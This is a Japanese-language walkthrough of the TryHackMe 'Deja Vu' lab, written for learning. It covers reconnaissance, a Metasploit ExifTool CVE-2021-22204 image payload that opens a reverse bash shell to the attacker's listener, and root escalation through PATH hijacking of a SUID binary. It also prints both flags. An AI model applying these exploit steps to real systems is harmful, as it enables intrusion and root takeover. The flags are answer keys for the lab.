0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Deja Vu:Walkthrough

Posted at

概要

TryHackMe「Deja Vu」のWalkthroughです。

Task2

Q3.Perform an Nmap scan of the target. What version of SSH is in use?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -p- 10.201.40.97 -oN nmap_result

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 30:0f:38:8d:3b:be:67:f3:e0:ca:eb:1c:93:ad:15:86 (RSA)
|   256 46:09:66:2b:1f:d1:b9:3c:d7:e1:73:0f:2f:33:4f:74 (ECDSA)
|_  256 a8:43:0e:d2:c1:a9:d1:14:e0:95:31:a1:62:94:ed:44 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Dog Gallery!

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.0
80 http Go-IPFS json-rpc or InfluxDB API

A.OpenSSH 8.0 (protocol 2.0)

Task3

Q1.What page can be used to upload your own dog picture?

ディレクトリスキャンをすると、/upload/を発見しました。

$ dirsearch -u http://10.201.40.97

[04:44:42] 200 -   21KB - /favicon.ico
[04:44:54] 200 -    2KB - /main.js
[04:45:23] 200 -    1KB - /upload/

犬の写真を投稿できるようです。

image.png

A./upload/

Q2.What API route is used to provide the Title and Caption for a specific dog image?

犬の写真を選択した際のリクエストをキャプチャします。
/dog/getmetadataから写真のタイトルとキャプションを取得していると分かりました。

image.png

A./dog/getmetadata

Q3.What API route does the application use to retrieve further information about the dog picture?

/dog/getexifdataから写真データの詳細情報を取得していると分かりました。

image.png

A./dog/getexifdata

Q4.What attribute in the JSON response from this endpoint specifies the version of ExifTool being used by the webapp?

/dog/getexifdataのレスポンスにある、ExifToolVersionフィールドでExifToolのバージョンを指定しています。

image.png

A.ExifToolVersion

Q5.What version of ExifTool is in use?

/dog/getexifdataのレスポンスからExifTool 12.23を使用していると分かりました。

A.12.23

Q6.What RCE exploit is present in this version of ExifTool? Give the CVE number in format CVE-XXXX-XXXXX

ExifTool 12.23の脆弱性を探すと、任意コード実行の脆弱性が見つかりました。

A.CVE-2021-22204

Task4

Q3.Retrieve the flag located in /home/dogpics/user.txt. What is the user flag?

エクスプロイトモジュールのオプションを設定します。

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show options 

Module options (exploit/unix/fileformat/exiftool_djvu_ant_perl_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.jpg          yes       Output file


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.6.55.144      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   JPEG file

モジュール実行すると、msf.jpgが生成されました。

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > exploit 
[+] msf.jpg stored at /home/kali/.msf4/local/msf.jpg

msf.jpgをアップロードします。
画像データの中には、リバースシェルを実行するコードが含まれています。

image.png

Netcatでリッスンし、アップロードした画像ファイルにアクセスるとリバーシェルが張れました。

$ nc -lvnp 4444                                                                               
listening on [any] 4444 ...
connect to [10.6.55.144] from (UNKNOWN) [10.201.40.97] 55532
whoami
dogpics

ユーザーフラグを入手できました。

[dogpics@dejavu ~]$ cat user.txt
cat user.txt
dejavu{735c0553063625f41879e57d5b4f3352}

A.dejavu{735c0553063625f41879e57d5b4f3352}

Task5

Q5.Retrieve the root flag from /root/root.txt. What is the root flag?

/home/dogpicsを探索すると、serverManagerにSUIDが設定されていると分かります。

[dogpics@dejavu ~]$ ls -la  
ls -la 
total 7024
drwx------. 6 dogpics dogpics    4096 Sep 11  2021 .
drwxr-xr-x. 4 root    root         38 Sep 11  2021 ..
lrwxrwxrwx. 1 dogpics dogpics       9 Sep 11  2021 .bash_history -> /dev/null
-rw-r--r--. 1 dogpics dogpics      18 May 27  2021 .bash_logout
-rw-r--r--. 1 dogpics dogpics     141 May 27  2021 .bash_profile
-rw-r--r--. 1 dogpics dogpics     376 May 27  2021 .bashrc
drwxr-xr-x. 2 dogpics dogpics     165 Sep 11  2021 dogImages
drwxr-xr-x. 8 dogpics dogpics    4096 Sep 11  2021 exiftool
drwxr-xr-x. 4 dogpics dogpics     172 Sep 11  2021 resources
-rwsr-sr-x. 1 root    root      17648 Sep 11  2021 serverManager
-rw-r--r--. 1 dogpics dogpics     847 Sep 11  2021 serverManager.c
-rw-r--r--. 1 dogpics dogpics     913 Sep 11  2021 staticDogs.json
-rwxrwxr-x. 1 dogpics dogpics      13 Sep 11  2021 systemctl
drwxr-xr-x. 2 dogpics dogpics      28 Sep  7 10:20 temp
-rw-rw-r--  1 dogpics dogpics      41 Sep 11  2021 user.txt
-rwxr-xr-x. 1 dogpics dogpics 7123123 Sep 11  2021 webserver
-rw-r--r--. 1 dogpics dogpics    6825 Sep  4  2021 webserver.go

serverManager.cを確認すると、serverManagerを実行した際に01を入力するとsystemctlのコマンドが実行されると分かりました。

serverManager.c
cat serverManager.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{   
    setuid(0);
    setgid(0);
    printf(
        "Welcome to the DogPics server manager Version 1.0\n"
        "Please enter a choice:\n");
    int operation = 0;
    printf(
        "0 -\tGet server status\n"
        "1 -\tRestart server\n");
    while (operation < 48 || operation > 49) {
        operation = getchar();
        getchar();
        if (operation < 48 || operation > 49) {
            printf("Invalid choice.\n");
        }
    }
    operation = operation - 48;
    //printf("Choice was:\t%d\n",operation);
    switch (operation)
    {
    case 0:
        //printf("0\n");
        system("systemctl status --no-pager dogpics");
        break;
    case 1:
        system("systemctl restart dogpics");
        break;
    default:
        break;
    }
}

systemctlが絶対パスで指定されていないので、別のsystemctlプログラムを作成し、パスを環境変数に追加することで任意のプログラムを実行できます。

新たにBashを起動するsystemctlプログラムを作成し、パスを環境変数に追加します。

[dogpics@dejavu ~]$ echo '/bin/bash' > systemctl
echo '/bin/bash' > systemctl

[dogpics@dejavu ~]$ chmod +x systemctl
chmod +x systemctl

[dogpics@dejavu ~]$ export PATH=.:$PATH
export PATH=.:$PATH

[dogpics@dejavu ~]$ which systemctl
which systemctl
/home/dogpics/systemctl

[dogpics@dejavu ~]$ echo $PATH
echo $PATH
.:/home/dogpics/.local/bin:/home/dogpics/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

./serverManagerを実行し、0を入力すると新たに作成したsystemctlが呼び出され、Bashがrootで起動しました。

[dogpics@dejavu ~]$ ./serverManager
./serverManager
0
whoami
root

/root/root.txtからルートフラグを入手できました。

[root@dejavu ~]# cat /root/root.txt
cat /root/root.txt
dejavu{5ad931368bdc46f856febe4834ace627}

A.dejavu{5ad931368bdc46f856febe4834ace627}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?